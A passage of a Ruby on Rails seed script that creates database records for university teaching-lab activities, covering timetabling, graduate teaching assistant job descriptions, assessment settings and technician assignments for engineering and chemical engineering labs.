Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"310\").first_or_create!(name: \"Second Year Design Project\",\n name_abrv: \"SYDE\", archived: false, in_drive: false, user_id: 5)\n at384 = ActivityTimetable.where(activity_id: a384.id).first_or_create!(duration: 210, kit_prep_time: 540, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"210 minute session, 3 times a week for 7 weeks\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a384.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a384.id).first_or_create!(criteria: \"\",\n job_desc:\"https://sites.google.com/a/sheffield.ac.uk/gta-opportunities/gtaoppssem2/eeedesignexercises\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a384.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a384.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a384.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a385 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6395\").first.id, code: \"311\").first_or_create!(name: \"SPE Device fab\",\n name_abrv: \"SPE - Fab\", archived: false, in_drive: false, user_id: 1)\n at385 = ActivityTimetable.where(activity_id: a385.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 60, takedown_time: 30, notes: \"Timetabling cannot happen until Masters students have chosen their modules - will be very last minute. Currenlty looked into by Rick Smith.\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a385.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"SPE Device Fab\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a385.id).first_or_create!(criteria: \"Experience with electrical and optical characterization of LEDs and HEMTs.\",\n job_desc:\"During this module students manufacture GaN LEDs from scratch. GTA assistance is required for many of these stages. Some will take place in the North Campus, others in the Diamond. Experience in GaN processing, electrical and optical testing.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room (some labs delivered in North Campus clean rooms)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a385.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a385.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a385.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a386 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE163\").first.id, code: \"312\").first_or_create!(name: \"System Design Analysis\",\n name_abrv: \"Pull apart\", archived: false, in_drive: false, user_id: 4)\n at386 = ActivityTimetable.where(activity_id: a386.id).first_or_create!(duration: 180, kit_prep_time: 30, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"The 2018-19 Semester 2 timetable is a disaster. I need to be able to interleave my once-a- fortnight lectures with the labs (as per Diamond ethos!). I.e all students need to attend a lab once per fortnight. Maybe use some (not all!) Friday PM sessions?\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a386.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Pull Apart\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a386.id).first_or_create!(criteria: \"Enquiring mind necessary and sound mechanical engineering skills. A background in electronics would be helpful but not essential.\",\n job_desc:\"Assist students with reverse engineering of items of consumer electronics (light bulbs, printers, telephones, data projectors, etc) and marking of lab report.\", jobshop_desc: \"GTA in MEE, the Diamond: System Design Analysis\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a386.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a386.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a386.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a387 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1001\").first.id, code: \"400\").first_or_create!(name: \"Induction Lab\",\n name_abrv: \"COM-INDUCT\", archived: false, in_drive: false, user_id: 3)\n at387 = ActivityTimetable.where(activity_id: a387.id).first_or_create!(duration: 180, kit_prep_time: 240, min_week_num: nil, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a387.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a387.id).first_or_create!(criteria: \"EEE or COM students with some experience of soldering and basic electronics\",\n job_desc:\"Supervising students as they learn basic electronics and familiarise themselves with the lab space\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a387.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a387.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a387.id, programme_id: $prog_com.id).first_or_create!\n\n\n a388 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM3505\").first.id, code: \"401\").first_or_create!(name: \"Internet of Things\",\n name_abrv: \"IoT\", archived: false, in_drive: false, user_id: 5)\n at388 = ActivityTimetable.where(activity_id: a388.id).first_or_create!(duration: 120, kit_prep_time: 240, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"120 minute session, for 10 weeks\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a388.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a388.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a388.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a388.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a388.id, programme_id: $prog_com.id).first_or_create!\n\n\n a389 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1006\").first.id, code: \"402\").first_or_create!(name: \"FPGA Lab\",\n name_abrv: \"COM-FPGA\", archived: false, in_drive: false, user_id: 3)\n at389 = ActivityTimetable.where(activity_id: a389.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a389.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a389.id).first_or_create!(criteria: \"Knowledge of FPGA programmings and digital logic\",\n job_desc:\"Training students in simple FPGA programming of logic gates and adders\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a389.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a389.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a389.id, programme_id: $prog_com.id).first_or_create!\n\n\n a390 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6501\").first.id, code: \"240\").first_or_create!(name: \"MSc Shaddowbots\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at390 = ActivityTimetable.where(activity_id: a390.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 100, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at390.id, room_id: $room_ec.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a390.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a390.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a390.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a390.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a391 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE230\").first.id, code: \"100\").first_or_create!(name: \"Absorbtion\",\n name_abrv: \"DC2\", archived: false, in_drive: false, user_id: 2)\n at391 = ActivityTimetable.where(activity_id: a391.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a391.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a391.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a391.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a391.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a391.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a392 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR334\").first.id, code: \"101\").first_or_create!(name: \"Bio Plastics\",\n name_abrv: \"BIOPLAST\", archived: false, in_drive: false, user_id: 1)\n at392 = ActivityTimetable.where(activity_id: a392.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a392.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a392.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a392.id).first_or_create!(assess_weight: nil, notes: \"All assessment was handled by the AMRC\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a392.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a392.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a393 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6311\").first.id, code: \"102\").first_or_create!(name: \"Clean Energy\",\n name_abrv: \"CE\", archived: false, in_drive: false, user_id: 4)\n at393 = ActivityTimetable.where(activity_id: a393.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a393.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a393.id).first_or_create!(criteria: \"Interest/experience would suit people with engineering or physics backgrounds. Ideally, some general knowledge about electricity and perhaps renewable energy. This is considered small-scale equipment.\n\n\n\n\n\n\n This requires attention to detail and an ability to stick to deadlines and follow marking criteria. Should be capable of providing useful and constructive feedback. Marking through MOLE and can be done at a time to suit the GTA.\",\n job_desc:\"Supervising groups of students using the Heliocentris Clean Energy Trainer. This is considerd small-scale equipment. Training will be provided for the experiment. Ideally, two GTAs will be required, one of who will be required to mark all the submissions. Should also be prepared to answer enquiries through the discussion board. Please see row below for marking information.\n\n Marking of reports. Full training will be given. The first stage is to run the experiment, take measurements and process to give the results. This should give a good understanding of the experiment.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a393.id).first_or_create!(assess_weight: 20.0, notes: \"This involves a complete report - because it counts for 20% of the module: marking carried out by staff/GTA\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a393.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a393.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a394 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"103\").first_or_create!(name: \"Exp 1: Consigma Back\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at394 = ActivityTimetable.where(activity_id: a394.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a394.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a394.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a394.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a394.id).first_or_create!(cost_per_student: nil, equip_needed: \"ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a394.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a395 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"104\").first_or_create!(name: \"Exp1: Consigma Front\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at395 = ActivityTimetable.where(activity_id: a395.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a395.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a395.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a395.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a395.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a395.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a396 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"105\").first_or_create!(name: \"Exp 1: Cont Crystalliser\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at396 = ActivityTimetable.where(activity_id: a396.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a396.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a396.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a396.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a396.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a396.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a397 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE130\").first.id, code: \"106\").first_or_create!(name: \"Demonstration for Crystalliser\",\n name_abrv: \"CR2\", archived: false, in_drive: false, user_id: 1)\n at397 = ActivityTimetable.where(activity_id: a397.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a397.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a397.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a397.id).first_or_create!(assess_weight: nil, notes: \"This is currently a demonstration, but a pre-lab and post-lab will be introduced\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a397.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a397.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a398 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE103\").first.id, code: \"106\").first_or_create!(name: \"Demonstration for Crystalliser\",\n name_abrv: \"CR2\", archived: false, in_drive: false, user_id: 2)\n at398 = ActivityTimetable.where(activity_id: a398.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a398.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a398.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a398.id).first_or_create!(assess_weight: nil, notes: \"This is currently a demonstration, but a pre-lab and post-lab will be introduced\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a398.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a398.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a399 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE230\").first.id, code: \"107\").first_or_create!(name: \"Distillation\",\n name_abrv: \"DC1\", archived: false, in_drive: false, user_id: 5)\n at399 = ActivityTimetable.where(activity_id: a399.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a399.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a399.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a399.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a399.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a399.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a400 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"108\").first_or_create!(name: \"Experiment E2: Investigation of heat engines operating in open and closed systems\",\n name_abrv: \"E2\", archived: false, in_drive: false, user_id: 1)\n at400 = ActivityTimetable.where(activity_id: a400.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a400.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jn5df35\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a400.id).first_or_create!(criteria: \"Interest/experience in cylinders, volume measurement and valves. The equipment is considered to be small scale. No data acquisition, just manual measurements.\",\n job_desc:\"Supervising groups of students using simple heat engine. Training will be provided for the experiment. Typically up to two GTAs will be required per session.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a400.id).first_or_create!(assess_weight: 2.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a400.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a400.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a401 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"109\").first_or_create!(name: \"Exp 2: Carousel Filter Dryer\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at401 = ActivityTimetable.where(activity_id: a401.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a401.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a401.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a401.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a401.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25, ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a401.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a402 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"110\").first_or_create!(name: \"Enthalpies of Combustion\",\n name_abrv: \"FY2\", archived: false, in_drive: false, user_id: 2)\n at402 = ActivityTimetable.where(activity_id: a402.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 4, max_week_num: 4, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a402.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n 